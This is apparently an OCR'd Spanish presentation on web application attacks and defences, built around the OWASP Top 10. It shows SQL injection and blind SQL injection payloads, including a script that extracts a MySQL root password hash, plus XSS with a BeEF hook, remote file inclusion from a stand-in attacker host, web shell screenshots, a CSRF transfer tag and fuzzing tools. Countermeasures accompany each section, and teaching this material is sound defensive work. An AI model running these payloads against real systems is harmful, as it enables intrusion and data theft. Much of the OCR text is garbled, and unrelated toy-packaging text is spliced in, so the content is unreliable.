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®x E| servicio mas difundido v utilizado es VWY

x /5% de los atagues ocurren enlas aplicaciones Web
(Gartner)

x 3 de 4 servidores son vulnerables a los atagues web
(Gartner)

x Cada 1500 lineas de codigo hay una vulnerabilidad (IBM)




Aumento del uso de aplicaciones web en el dia a dia,
Banca onling, redes soclales; etc

Web 2.0 anade mayor-complejidad y- nuevos vectores
de atague

Los firewall permiten el paso de este servicio y no
pueden hacer nada al respecto

Punto de contacto con las bases de datos ($95)

Cada vez los datos personales tienen mas valor, y hay
mas interesados en ellos.




Precio de los datos:

Advertised Price
(in US Dollars)

United States-based credit card with card verification value $1-%6
United Kingdom-based credit card with card verification value $2-%12

An identity (including US bank account, credit card, date of birth, and $14-$18
government issued identification number)

List of 29,000 emails $5

Online banking account with a $9,900 balance $300

Yahoo Mail cookie exploit—advertised to facilitate full access when successful $3
Valid Yahoo and Hotmail email cookies $3
Compromised computer

Phishing Web site hosting—per site

Verified PayPal account with balance (balance varies)

Unverified PayPal account with balance (balance varies)

Skype account

World of Warcraft account—one month duration

Table 3. Advertised prices of items traded on underground economy servers
Source: Symantec Corporation




Atagues de phishing y fraude online (Launch pad,
infection point)
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Escenario actilal =

4396 vulnerabilidades

@ Web Applications
¢ Otras vulnerabilidades
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Vulnerabilidades mas explotadas:

PHP Remote File Inclusion
® SQL Injection

® Cross Site Scripting (XSS)

® Cross Site reguest forgery (CSRF)




Escenario actual = WASE

Porcentaje de sitios vulnerable por tipo de vulnerabilidad

Cross site Scripting
Other

Information Leakage
Http Response Splitting
SQL Injection

SSl Injection

Web Application Security Consortium 2006



Vulnerabilidades mas comunes x clase

82.57
26.38

Cross Site Scripting
15.70 SQL Injection
W Information Leakage
9 /0 HTTP Response Splitting
B Path Traversal
i 19 Other
s 40
0 25 50 15 100

Web Application Security Consortium 2006



x Open Welb Application Security: Project

x Cantidad de proyectos relacionados con la seguridad
de aplicaciones web

x Uno de ellos el Top 10 de vulnerabilidades




® Cross 3ite ScHptingXSS)
® [njection:Elawsi(SQEHEDAR)

® Valicious:ElleiExecution

® |nsecure Direct Object Reference

® (Cross:sitereguest:Forgery{CSRE)




&

® Information Leakage and Improper Error Handling
® Broken Authentication and session Management
® |nsecure Cryptographic-Storage

® |nsecure Communications

® Fallureto Restrict:EURIEACCEsS




Escenario actial

[ web apps ]

-::DESCRIPTION
TopperMod 1.0 (mod.php) Local File Inclusion Vulnerability
TopperMod 2.0 Remote SQL Injection Vulnerability

35

Joomla Component alphacontent <= 2.5.8 (id) SQL Injection Vulnerability 1763

BolinOS 4.6.1 (LFI/XSS) Multiple Security Vulnerabilities

@107 Plugin My_Gallery 2.3 Arbitrary File Download Vulnerability
destar 0.2.2-5 Arbitrary Add Admin User Exploit

HIS-Webshop (his-webshop.pl t) Remote File Disclosure Vulnerability
PowerPHPBoard 1.00b Mulitiple Local File Inclusion Vulnerabilities
PowerBook 1.21 (index.php page) Local File Inclusion Vulnerability
phpBB Module XS-Mod 2.3.1 Local File Inclusion Vulnerability

Joomia Component Cinema 1.0 Remote SQL Injection Vulnerability
Joomla Component d3000 1.0.0 Remote SQL Injection Vulnerability
destar 0.2.2-5 Arbitrary Add New User Exploit

Joomla Component rekry 1.0.0 (op_id) SQL Injection Vulnerability
Cuteflow Bin 1.5.0 (login.php) Local File Inclusion Vulnerability
PHP-Nuke Platinum 7.6.b.5 (dynamic_titles.php) SQL Injection Exploit

Joomia Components custompages 1.1 Remote File Inclusion Vulnerability

XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit
PostNuke <= 0.764 Blind SQL Injection Exploit

D.E. Classifieds (cat_id) Remote SQL Injection Vulnera

RunCMS Module Photo 3.02 (cid) Remote SQL Injection Vulnerability
phpAddressBook 2.11 Multiple Local File Inclusion Vulnerabilities
ASPapp Knowledge Base Remote SQL Injection Vulnerability
RunCMS Module section (artid) Remote SQL Injection Vulnerability
PEEL CMS Admin Hash Extraction and Remote Upload Exploit

Joomla Component Restaurante 1.0 (id) SQL Injection Vulnerability
Mambo Component accombo 1.x (id) SQL Injection Vulnerability
Joomla Component Alberghi <= 2.1.3 (id) SQL Injection Vulnerability
Joomla Component joovideo 1.2.2 (id) SQL Injection Vulnerability
ASPapp (links.asp CatId) Remote SQL Injection Vulnerability

935

1331
1251
1614
1701
1216
1710
2582
1498
1778
2112
1907
2864
3242
2002
1636
2286
1736
1669
1776

1205
2903
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1854

2117
1834
2155
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nonroot
Zero X
DSecRG
DSecRG
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nonroot
Sniperd456
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HTTP
request

(cleartext
or SSL)

HTTP reply
(HTML,

Javascript,
VBscript,

etc)

-Apache
IS
‘Netscape
etc...

Plugins:
Perl
C/C++
«JSP, etc

SQL
Database

Database
connection:
*ADO,
ODBC, etc.




Client

Interpretation Validation | | poisoning
attacks attacks




ogue /|display.asp|?
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x SQL: Structured Query Language

x Utilizado para consultar y-administrar Bases de Datos

x Query / consulta: Unidad tipica de gjecucion.

n - Consultasibasicas:: SEEECTEANSERT - UPDATE.




SELECTERONMEUStariosStWHERE fame=:aramies=:

SELEGTHG:ERONEUSUSHOS;

SELEGTEnombre:ERONEUSHanosS: UNION SELEGT
nameERONEEMPIOYEES;




La inyeccion de codigo SQL se produce cuando datos
suministrados por el-usuario son enviados sin filtrar a
un interprete como parte de una consulta (Query), con
el fin de modificar el comportamiento-original, para
ejecutar comanados o consultas arbitrarias en la base

d‘e datos.

ORACLE

\\
' -
o




<code>

sgl_query=

SELEGTSFROM tsers WHERE
username = " + +"AND
userpass = "' + e
</code>




PASSWORD

Consulta final en DB;

SELECTZ FROM:tusers-WHER

username ="'

userpass = 'lest

"AND
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Consulta final en DB:;

SELECESFEROM tusers WHERE
username = SAND
userpass = 'lcsh

Microsoft OLE DB Provider for ODBC Drivers
(0x80040E14)

[Microsoft]]ODBC SQL Server Driver][SQL
Server]Unclosed quotation mark before the character string



Consulta final en DB:;:

USERNAME ' or 1=];—- ' SELECT :: FH{OM users WHEH
PASSWORD | +++- username ="

2

AND userpass = "est

OKI!!' “Acceso permitido

con el primer usuario de
la DB




»x Fvadir autenticaciones, controles de acceso.

®x Obtener y/o modificar datos arbitrarios de la base de
datos

x | eer ficheros del sistema operativo

® [jecutar comandos en el Sistema Operativo




Sl Server

n SELEGTETEROM WHERE

n SELEGESZEROM WHERE




DEMOS [SQL Injection]




» SQ|bifZ http://www.open-lalbs.org/
. Squfia: http://www.edge-security.com

" Sqlmap: http://sqlmap.sourceforge.net/

®  SOX 3 nttp:/www.owasp.org/index.php/Category:OWASP. SQLIX_ Project



http://www.open-labs.org
http://www.open-labs.org
http://sqlmap.sourceforge.net
http://sqlmap.sourceforge.net
http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project
http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project




x Blind SQL injection es igual al SQL injection, pero con
a diferencia gque No se obtienen mensajes de error ni

resultados en las respuestas.

x 5 mas dificil de explotar y lleva mas tiempo obtener
los resultados.

x Se ocultaron los mensajes de error, pero no se arregld
la vulnerabilidad.




Se puede explotar mediante consultas SQL con
evaluaciones logicas del tipo: True o False.

hitp://newspaper.com/items.php?id=

SELECT title, description, body FROMIitems WHERE 1D =

Y como resultado en el browser obtenemos:

“Conferencia de Rediris el dia 28”



http://newspaper.com/items.php?id=2
http://newspaper.com/items.php?id=2

http://newspaper.com/items.php7id=2

SELECT title, description, body FROM items WHERE ID =2

Como resultado en el browser obtenemos:

“No se encontro articulo en la Base de datos”



http://newspaper.com/items.php?id=2
http://newspaper.com/items.php?id=2

http://newspaper.com/items.php?id=2

SELECT title, description, body FRON items WHERE ID = 2

Como resultado en el browser obtenemos:

“Conferencia de Rediris el dia 28”



http://newspaper.com/items.php?id=2
http://newspaper.com/items.php?id=2

“No se encontro articulo en la Base de datos”

“Conferencia de Rediris el dia 28




x Como podemos explotarla?
http://newspaper.com/items.php?id=2 OK
http://newspaper.com/items.php2id=2 NG,

® Hay que averiguar el tipo de DB:

http://newspaper.com/items.php?id=2
QK== MYSQL



http://newspaper.com/items.php?id=2
http://newspaper.com/items.php?id=2
http://newspaper.com/items.php?id=2
http://newspaper.com/items.php?id=2
http://newspaper.com/items.php?id=2
http://newspaper.com/items.php?id=2

Ref. 40047.105

Std. 6

Dim. 267 x50 x 267 mm.
CB. 5023117790027

¢ Quién es quién Disney?
Quem é Quem Disney

Descubre al personaje Disney secreto de tu adversario con tus
preguntas. ;Lleva gorro? ;Es rubio?

‘- ¢ 3
pescopre a personagem Ssex
I \r'n 34 "V < N 2rrn ' §

COMN asS tUad PDercuri e

lem quatro patas’

A partir de 6 anos.
2 a 4 jugadores.
A partir dos 6 anos

A ~
Z a 4 jogadores




sgl.php?id=1 and substr(user(),1,1) = “a@’ “No se encontr¢ articulo en la Base de datos”

sql.php?id=1 and substr(user(),1,1)="b" “No se encontr¢ articulo en la Base de datos”
sgl.php?id=1 and substr(user(),1,1) ="c” “No se encontr¢ articulo en la Base de datos”
sgl.php?id=1 and substr(user(), 1,1)=""d” “No se encontrd articulo en la Base de datos”
sgl.php?id=1 and substr(user(),1,1)="e" “No se encontrd articulo en la Base de datos”
sgl-php?id=T1-and:-substruser();151)=-F-0K “Conferencia de Rediris el dia 28”

Primer caracter del resultado de la funcion user() es “f”



sqgl.php”id=1 and ascii(substr(user(),1,1)) > 100 OK

| valor ascil de la primer letra del ustiario > 100

sgl.php?id=1 and ascii(substr(user(),1,1)) >100 OK

sgl.php?id=1 and ascii(substr(user(),1,1)) >150
sgl.php?id=1 and ascii(substr(user(),1,1)) >125
sgl.php?id=1 and ascii(substr(user(),1,1)) >112 -OK
sgl.php?id=1 and ascii(substr(user(),1,1)) >118 OK
sgl.php?id=1-andascii(substr(user(),1,1)) >114
sgl.php?id=1 and ascii(substr(user(),1,1)) >113 OK

sgl.php?id=1-and-asci(substr(user(),; 1,1))=114-0OK
Primer caracter del resultado de la funcion user() es “r”



Si el comportamiento es el mismo, estamos seguros de
que no hay SQL injection?

N@

SELECT title. description; body FROM items WHERE ID = 2 32 Chars

SELECT title, description, body FROM items WHERE ID = 2 32 Chars




Pero podemos usar algunas opciones como:
Timing

Condicionales (IF)

WALE FOR DEEAY- 00105 SOl Server
BENCHMARK( - MySQL

pg_sleepti)  PostgreSQL




SELECT title, description, body FROM items WHERE ID =2
Tiempo de ejecucion > = 15 seg OK!

SELECT title, description, body FROM items WHERE ID = 2;

Tiempo de gjecucion > =15 OK!
Sapbemos que el usuario es “SA”




DEMOS [Blind]
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Libertad:trunk laramies$ python pblind.py "http://192.168.1.2/ejemplos/sql.php?id=34+version)"

[-] Url wulnerable!

Database :mysql

Result:

5 A 18 Time: 1.65724886761

Libertad:trunk laramies$ python pblind.py "http://192.168.1.2/ejemplos/sql .php?id=34+user{)"

[-] Url vulnerable!

Database :mysql

Result: t;

root@local host Time: 1.64542295647 -

Libertad:trunk laramies$ python pblind.py "http://192.168.1.2/ejemplos/sql.php?id=34+(select user from mysql.user limit 1)"

[-] Url vulnerable!

Database :mysql

Result:

bma Time: 1.65649914742

Libertad:trunk laramies$ python pblind.py "http://192.168.1.2/ejemplos/sql.php?id=34+(select password from mysql.user where user ='root')"

[-] Url vulnerable!

Database :mysql

Result:

33b3a7a218fb293 Time: 1.65664196014
Libertad:trunk laramies$




Contramedidas:

Validar los datos de entrada, White Lists

Utilizacion de procedimientos almacenados
parametrizados

Conexiones con minimos privilegios, granularidad

Validar, validar, validar, y por las dudas validar.



Herramientas:

" SQ|bif: http://www.open-labs.org/

. Squfia: http://Awww.edge-security.com

n PPling: http://www.edge-security.com

» Sqlmap: http://sglmap.sourceforge.net/

= SQ”X . http://www.owasp.org/index.php/Category: OWASP_SQLiX Project



http://www.open-labs.org
http://www.open-labs.org
http://www.edge-security.com
http://www.edge-security.com
http://www.edge-security.com
http://www.edge-security.com
http://sqlmap.sourceforge.net
http://sqlmap.sourceforge.net
http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project
http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project

OH, DEAR - DID HE
BREAK SOMETHING?

IN A WAY

%4

HI, THIS IS

YOUR SONS SCHOOL.
WERE HAVING SOME
COMPUTER TROUBLE.

\%m

DID YOU REALLY
NAME YOUR SON
Robert'); DROP
TABLE Studerts: -~ 7

~ OH.YES UTTLE
ROBBY TARLES,
WE CALL HIM.

WELL, WEVE LOST THIS
YEARS STUDENT RECORDS.
I HOPE YOURE HAPPY.

{

AND I HOPE
=~ YOUVE LEARNED
L TOSANMIZE YOUR
DATARASE INPUTS,




Cross oite scHpting X6S




= | a vulnerabilidad ocurre cuando-una aplicacion recioe
datos enviados por el usuario, v los devuelve al
browser sin validarlos o codificarlos.

® Para poder explotar esta vulnerabilidad generalmente el
atacante tendra gue enganar a la victima en abrir un
link, visitar una pagina, ver una imagen, etc...




Que se puede hacer con ellos?:

® Robo de informacion de autenticacion vy
secuestro de cuentas

® Robo V envenenamiento de cookies
® \Website Detace

® Phishing




Mas..

Log Keystrokes Deface welsites
Port Scan Intranet XSRF
Abusar de

vulnerabilidades del  Robar History
orowser




TIpoS:

® Persistente o Almacenado

® No persistente o reflejado (mas comun)

® Basados en DOM (Document Object Model)




1.Alice visita el sitio “XSSLand”, donde tiene una cuenta para acceder a sus datos
personales.

2. Haxor encuentra un en=XSSkand?:

3. Haxor prepara una URL que explota la vulnerabilidad, y envia el link a través del correo,
haciendose pasar por el servicio de administracion de “XSSLand”

4. Alice visita la URL que envio Haxor mientras esta logueada en “XSSLand”

5. El script incrustado en la URL, se ejecuta en el Browser, como si viniera de “XSSLand”.
El script envia la cookie de sesion a Haxor. Ahora Haxor puede acceder a “XSSLand”
como si fuera Alice y obtener o modificar la informacion disponible.




1. El sitio “XSSLAND” permite a los usuarios enviar mensajes en un foro, asi como
firmar el libro de visitas.

2. Haxor detecta que el sitio “XSSkand” es vulnerable a un

3. Haxor envia un mensaje controversial o con gancho, para animar a otros usuarios a
verlo.

4. Solo con ver el mensaje, la cookie de sesion de los usuarios sera enviada a un
servidor controlado por Haxor sin que los usuarios se den cuenta.

5. Posteriormente Haxor, accede con las cookies de sesion de los otros usuarios y
envia mensajes suplantando la identidad de las victimas.




eNO <script>alert("PWN3D!"); </script> - Symantec Corp.
- X ﬁhttp:,-' /securityresponse.symantec.com/security_response/detected_writeup.js =~ Q-

Symantec.com Partners About Symantec Shopping

’ symantec.

Enterprise Small & Mid-Sized Business Home & Home Office Partners About Symantec

All of Symantec

Detected As:

This threat is detected by the latest Virus Defini*-—- —ﬁ

All computer users should employ safe comput
« Keeping your Virus Definitions updated. http:/ /securityresponse.symantec.com
ton AntiVirus program updates, ) : PWN3D!

ting suspicious looking emails
1ay also scan your PC for threats now, by

nsure complete protection against viruses

product offerings for

Removal Instructions

he following instructions pertain to all current and recent Symantec antivirus products, including Search by name

the Symantec AntiVirus and Norton AntiVirus product lines

Disable System Restore (Windows Me/XP)
Update the virus definitions.
Run a full sy te e files detected

Submit the f to Symantec Security R nse

~ P ——
{

For specific details on each of these steps, read the following instructions N t 360,“

1. To disable System Restore (Windows Me/XP) All-In-One Security
Contacting “securityresponse.symantec.com”




Search Results: </script> <script src="http://127.0.0.1/beef/hook/beefmagic.js.php'> </script>

@ http://search2.foxnev

HOME | US. | WORLD | POLITICS | BUSINESS |
RADIO MOBILE

P T . e
< giotit

© . DIGITA

The page at http://search2.foxnews.com says:

pwn3d

NEW
SoundDock’ Portable

digital music system

SEARCH

" document.forms[“search_form").q.focus(); //—>

Did you mean: </script><script
src="http://127.0.0.1/beef/hook/bootmagic.js.php'></script>

Free Ann Coulter Email
Get Ann's weekly column sent to you by email each week!
www.HumanEvents.com

Giuliani Romney Thompson?
Republican Internet Primary Has Started- Vote Early Now!

www. newsmax.com

Buy a link here

Free Ann Coulter Email
Get Ann’'s weekly column sent to you by
email each week!

www.HumanEvents.com

Can Giuliani Stop Hillary?
Repubkcan Internet Primary Has Started
Vote Early Now!

www.newsmax.com

Tiger, Phil, Sergio and more
The best golfers in the world play at
PGATOUR.COM. Cick Here.
PGATOUR.COM

Top Nursing Programs

G|~ beef xss

El RED EYE W/ GREG  2:00am EST
GUTFELD
Outrageous and Outspoken
Commentary SCHEDULE

| MYNEWS | SPORTS | WEATHER

Fierce Gun Fight
Baghdad governor's convoy
comes under attack

Latest Fox News Headlines [

Video footage of Carol Gotbaum arrest
Lawnmower used as getaway car
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Contramedidas:

® [ltrar todo el contenido que recibimos para evitar gue
se incluyan tags de scripting, aceptando solo los
valores validos. (VVhite Lists)

x Antes de almacenar y de volver a mostrar |os datos a
|0S usuarios, Se recomienda transformar los meta-
caracteres, gue permiten esta vulnerabilidad, a su
entidad HIML correspondiente. > &gt; < &lt; & &amp;

Validar, validar, validar, y por las dudas validar.



Remote Elle mclusion (k]




La inclusion remota de ficheros o codigo permite a los
atacantes incluir codigo Yy datos arbitrarios en la

aplicacion vulnerable, que luego se ejecutara en el
servidor.

Muchas aplicaciones  permiten subir ficheros,  fotos,
documentos, etc... (Upload)

La inclusion de los ficheros puede ser tanto local como
remota




La podemos encontrar en urls del tipo:

x hitp://vulnsite.com/leer.php?file=news.php

x http://vulnsite.com/area.php?file=news

http://vulnsite.com/leer.php?file=

http://vulnsite.com/leer.php?file=

Si logramos incluir codigo, ficheros o realizar un upload
podemos...

62


http://vulnsite.com/leer.php?file=news.php
http://vulnsite.com/leer.php?file=news.php
http://vulnsite.com/area.php?file=news
http://vulnsite.com/area.php?file=news
http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php
http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php
http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php
http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php

® Ejecutar comandos a través de una consola web.
(Darkraver web-Kit)

® Paneles de control (€99, r57)
® Cliente SQL a través de http.

® Subir y ejecutar cualquier binario (Port redirectors,
tuneles, etc)

® Cualquier cosa gue se nos ocurra.




a http://127.0.0.1/ejemplos/php_include.php?file=hola - Microsoft Internet Explorer

Archivo Edicion Ver Favoritos Herramientas Ayuda

Gatrds v o= - ) (2] A} ‘QiBisqueda [EJFavoritos 4Historial | SN+

Direccion Ia’ﬂ http://127.0.0.1/ejemplos/php_include.php?file=hola

- SeC Expertos en sequridad digital

Including File: hola.html




'5 http://127.0.0.1 /ejemplos/php_include.php?file=http://localhost/cmd.txt?&cmd=dir - Microsoft

Archivo Edicion Ver Favoritos Herramientas Avuda

D 7] 4} | ‘Qieisqueda [Favoritos ( 4Historial | 5N+

< Atras ~

Direccidn |3"L'] http:f/127.0.0.1ejemplos/php_include. php?file=http: /flocalhostjcmd. bxt?&cmd=dir

2l SeC Expertos en sequridad digital

Including File: http://localhost/cmd.txt?.html

Send |

El wvolunen de la wnidad [ no tiene etiqueta.
El nimero de serie del wolumen es: 631D-41C§

Directorio de [:yxamplitte‘htdocs\ejemplos
E4F0258008 1§:085
E4F0252005 1§:05

095062006 11:11
030652006 14:51
0970652006 14:50
030652006 14:29
097062006 14:46
037062006 11:11
0950652006 14:01
0970652006 1i:44
037062006 14:51
1450572006 14:45
0950652006 14:27
E4f0452006 10:22

427 admin_mernu. php

2% array.php

680 blogqueo.php
287 buffer_overflow.php

4¢1l cmd.php
§28 confirm_login.php
{45 confirm_pini.php
224 confim_regalo.php
(06 count.php
&5 cross_frame_scripting.php
£11 cross_site_scripting.php
10.961 css_home.css

030652006 11:%1
127058006 11:09
160552006 09:87
160558006 09:87
030652006 14:29
097062006 14:45
147052006 14:42
030652006 16:24
160578006 11:&1
E2F05/8006 E2:%1
E2F05FE006 £2:00
04f0Ef2008 El:14
030652006 16:25

CACNACTONA *e.nn

{54 error_revelation.php
1.425 expertos.qgif
§0 format.c
10.940 format.exe
£07 format_string.php
2&7 get_barmer.php
£65 header.php
60 helleworld.php
& hola.html
£42 html_revelation.php
47 http_response_split.php
§.51% index.html
§.889 index.php

CoN 10 v b




/127.0.0.1/ejemplos/php_include.php?file=../../../../ ../ ../ ../booL.ini - Microsoft Internet Explorer

Edicion Ver Favoritos Herramientas Ayuda

¥y = v ) g ﬁ aBﬂsqueda |4 | Favoritos ;'ﬁHistorial Ebv =p

I&‘ﬂ http://127.0.0.1/ejemplos/php_include.php?file=../../..[..[..]..]../boot.ini

| SeC Expertos en sequridad digital

Including File: ../../../..[..1..]..[boot.ini.html

Warning: included../../..[..[..[.. 1. . Jboot.ini.html) [function.include]: Failed to open stream: Mo such file or directory in C:\xamplitte' htdocs'\ejemplos’php_include.php on line 19

Warning: include() [function.include]: Failed opening '..J..J..J..[..[..]../boot.ini.html' For inclusion {include_path=".;C:\xamplitte\phpipearl’) in C:\xamplitte' htdocs' ejemplos’php_include.php on lin




i http://127.0.0.1 /ejemplos/php_include.php?file=../../../../../ ../ ../booL.ini - Microsoft Internet Explorer

Archivo Edicion Ver Favoritos Herramientas Ayuda

HAtras v o= - g D aBﬂsqueda k] Favoritos ¢ $Historial _fbv =p

Direccion |4’ﬂ ttp: .0.0.1/ej php_include.

| SeC Expertos en sequridad digital

Including File: ../../../1..1..1..]..Iboot.ini\

[boot loader] timeout=30 default=multi{0)disk{0)rdisk{0)partition{ 1 )\WINNT [operating systems] multi{0)disk({0)rdisk{0)partition{ 1\ WINNT="Microsoft Windows 2000 Professional” jfastdetect




11-07-2007 17:45:06

¥ ¥ safe_mode: Version PHP: 5.1.6 CURL: MySOQL MSSQL PostareSQL: Qracle y 3 3
plr\']p“H\'] &h Unciones j.:__;: 'jl.—ti.‘-':dfjf : ‘ﬂ\ T:34‘\'.'] ‘ﬂ\
libre : 40.62 GB Espacio total : 70.14 GB

mando Ejecutado: Is -lia

1738030 druwxrexrwx 2 pondtv4d pondtvd 4096 Jul 11 17:41

1738016 drwxr-xr-x 5

4096 Feb 27
1 166421 Jul 5
1 5279 Jul 11
1 1195 Jul 5
1 25 Jul S
1 0 Jul &
1 0 Jul S
1 0 Jul S
1 0 Jul S
1 0 Jul 11
1 ] Jul €
1 0 Jul 11
1 0 Jul 11
1 0 Jul S

:: Ejecutar Comando En Servidor ::
Correr Comando »
Directorio de Trabajo » /var/www/html/templates/emalls Ejecutar
:: Editar ficheros ::
Fichero a editar » fvar/www/html/templates/emails Editar fichero
:: Prueba a bypassear safe_mode con load file en mysql ::

Servidor-SQL » |ocalhost BBDD . Tabla » pimpam Login » root Password » password Puerto » 3306




TG Gshell - Mozilla Firefox e g x|

File Edit View Go Bookmarks Tools

WV =] &
I 3 y | |

http: /= —m/back.php?

GovernmentSecurity.org - > Posting Mew Topic : s - ¢99shell

— N
# C99Shell v. 1.0 pre-release build #13 §
Software: Apachef2.0.50 {(Fedora). PHP/4.3.8
uname -a: Linux < s 2.4.22-1.2199.nptl #1 Wed Aug 4 12:21:48 EDT 2004 i686
uid=48(apache) gid=48(apache) groups=48{apache),2523(psaserv)
Safe-mode:
fhome /httpdfvhosts f /subdomains /fssss /httpdocs/
Free 51.73 GB of 71.32 GB (72.54%)
4 .
‘ - i m @\ . Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
Result of execution this command:
ISER PID %CPU %MEM YSZ RSSTTY  STAT START TIME COMMAMND ~
root 1 0.0 0.0 2496 396 7 S Augzz 0:11init [3]
yook 20000 0 07 SW Aug2z 0:00 [keventd]
Fook 30000 0 07 SW Augzz 0:00 [kapmd]
yook 40000 0 07 SWH Aug2Z 0:00 [ksoftirgd/0]
Fook 60000 0 07 SW Augzz 0:00 [bdflush]
yook 50000 0 07 SW Aug2z 1:25 [kswapd]
Fook 70000 0 07 SW  Aug2z 0:00 [kupdated]
Fook 80000 0 07 SW Aug22 0:00 [mdrecoveryd]
root 1z0000 0 0O7? SW  Aug22 5:04 [kjournald]
yook 67 0,000 0O 07 SW  Aug2z 0:00 [khubd] v
Ds aux
Display in text-area
v

AT NE RN RONC . 11:04 AM
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x Ocultar nombre de ficheros al usuario

x Desactivar “allow_url_fopen’y: “allow url include”
en PHP.INI

x Configurar firewalls para prevenir que el servidor Web
no pueda realizar conexiones nuevas hacia
servidores externos o Internos.

x Utilizar valores que se mapeen con los ficheros
necesarios, asi 17 es equivalente a “config_user.ini”,
"2 a configzsiteini?

Validar, validar, validar, y por las dudas validar.






El atacante fuerza al browser de la victima a realizar
na peticion, en la sesion autenticada o No, de una
aplicacion sin el .conocimiento del-usuario.

C

<IMG SRC="http://www.mibancaonline.com/

transferencia.asp?
amount=1000000&to account=313373" />



http://www.somebank.com
http://www.somebank.com

INT

RNE 0 |-’s Intranet

©

P

i
;
:
|
|
i
ttp://shady.example.com :
\4

L

http://corp.google.com




“Yo no me descargue ese fichero, fui victima de
un CSRF”

“It's-a problem for forensics people who
aren't as familiar with it and might
not understand whether it's possible
that CSRF could be blamed for
what the defendant is accused of. *

Chuck Willis,
Principal consultant, Mandiant




Contramedidas:

x NoO funciona confiar-en el Referrer.

x No funciona confiar solo en los POS

= Utilizar tokens:Randomti(campos:HIDDEN)







x Usualmente la aplicacion protege solamente las
funcionalidades mas sensibles; evitando publicar los
links o las urls a los usuarios no autorizados.

®x | os atacantes explotan esta vulnerabilidad
accediendo directamente a estas funcionalidades.




Existen muchos diccionarios creados para explotar
esta vulnerabilidad:

® [Diccionarios de distintos idiomas

x Diccionarios por. contexto dependiendo del
servidor Web, servidor de aplicaciones, Yy
Aplicaciones




= YaYa) Default

Default Default

liberacion:/tools/edge/edgesec/wfuzz laramies$ python wfuzz.py -¢ -z file =f commons.txt <R 1 --hc 484 http:/s
FUZZ

ARSI RS ER AR SRR RS R PR R RS R R R Y
¥ Wfuzz 0.8 - The web bruteforcer *
¥ Coded by: *
¥ Carlos del ojo »
¥ < deepbit@gmail .com »
¥ Christian Martorella ¥

* - cmartorel lo@edge-security.com *
IEP SRR RP SRR SRR R RS R PSR RS R RS RS RS

Target: http:/4 s/FUZ2Z
Payload type: fl(e

1D Response Lines Yord Request qu z z

89128: C=391 1L oV "cat"

899127: C=301 by oV "classes"
89162: C=391 19 9V "cgi-bin"
89184: C=391 Iy B oW “css"

89355: C=301 b g oV "images"
809462: C=381 18 & 9V "js"

88457: C=391 1L 9y “hew"
-------------- Recursion level 1 ———ccmcmmmaae
81179: C=301 1L o “cat/images"
82326: C=301 « 18 g oV "classes/src”
82876: C=381 - Ty 8 9V "cgi-bin/lib"
85933: (=391 g 9y “new/cat”
85944: C=301 e oV "new/cgl-bin®
85979: Cw391 1L 9V "new/css"
B60%8: C=391 1L 9V "new/classes”
86177: C=301 L oV “new/images"
06182: C=391 1y 8 oW "new/js"

[iberacion:/tools/edge/edgesec/wfuzz laramiesd l

N



DEMO [Wiuzz]
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Herramientas:

x \Nfuzz: http:// www.edge-security.com/wiuzz.php

x Dird: http:Z/www.open-labs.org/



http://www.edge-security.com/wfuzz.php
http://www.edge-security.com/wfuzz.php




Nueva herramienta para realizar todo tipo de
atagues de fuerza bruta solbre aplicaciones webs.

Predictable resource locator, recursion supported
Login form bruteforce

Session bruteforce

Basada en wfuzz

Parameter bruteforce

Parameter Injection (XSS, SQL)

Basic and Ntml Bruteforcing




Multiple payloads
All parameter injection (Get, Post, Headers)
NTLM and Basic support and bruteforcing

Payload encoding

Tailored dictionaries for known applications (Apache, Tomcat, Weblogic,
Websphere,Vignette, etc) Thanks to DarkRaver www.open-labs.org



http://www.open-labs.org
http://www.open-labs.org

() WebSlayer
Session Help About

< Configuration | @ Payload Generator Results * RequesteR FH Encoder

zed urls:

URL Attack type Dictionary
1 http://www.edge-security.com/FUZZ File C:/Documents and Settings/cmartorella. S21SEC /edgesecurity fwzuffer ftrunk fwordlist/common. txt

2 http://172.18.1.100/FUZZ File C:/Documents and Settings/cmartorella. 52 1SEC /edgesecurity fwzuffer ftrunk fwordlist/common. txt

>
Words: - - - v| [] Indude

Words MD5 FUZZ
67773b74%e57bSdfc0c5d15ecc8decf3  con
50582b8f683dc6b8a1283322ff3972dd  images
e03182ffa244c760490c9dda44f15a6d  nul

970e2966aa823f3909993d3774c561c4  temporal We b S I a e r
bcf335f313c6dcad82f29298a567c3f9 tools y

450eeaf5f5c09d341ae2593a31e86328  www

Regular expression: Filter | I Clear filters [Sear common errors

Html Source Response Headers Raw Regquest

Forbidden

You don't have permission to access /con on this server.

Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.

Apache/2.0.59 (Win32) PHP/5.2.0

» Send to RequesteR

Attack finished OK




DE
=MO [Webslayer]

MACKER [ e
WORK 4
A .;} .,—, - :




®x Herramienta para auditar aplicaciones WEB

x Actualmente detecta XSSy SQL Injection

x S un proxy gue mientras se navega la aplicacion,
realiza las inyecciones de SQL y XSS en todos los
Darametros dinamicos.




Comms Request Stats Variable Stats Config Attacks

T ~ o
arges

.
/ /edge~security.com /

p./ /www.edge-security.com /

D/ /www . edge-security.com fwfuzz.php

y./ www fistconference.org /

p./ [toolbarqueries. google.com [search?’q=info httpXIAK2FX2Fwww fistconference org2F&ch<619312633648& eat &

(toolbargueries.aooale.com  /search’a=info httoXIA%2FX2 Fwww. fistconference. oraX2F&ch=61931263364&feat *
- »

Select

Cet ' Delete selected requests
Target A Delete requests in view

Path : ' Al Edit requests in view

Variable: ' Al

CET J HTTP/1.1

Host: edge-security.com

Accept-Language: es~es.e5,q«0.B en-us;q=0.5en,q«0.3
Keep-Alive 300

Reguests

Accept: text/xml application/xml application/xhtml+xml text/html.g=0.9 text/plain;q«0.8,image/png,*/*.q«0.5

User-Agent: Mozilla/5.0 (Macintosh, U, Intel Mac OS X; es-ES,; rv:1.8.1.12) Cecko /20080201 Firefox/2.0.0.12
Accept-Charset; ISO-BB59- 1, utf-8.q«0.7,".q«0.7

Connection. close

Cookie: __utma=109382993,1993232838,1206520740,1206520740.1206522675.2; __utmc~109382993;

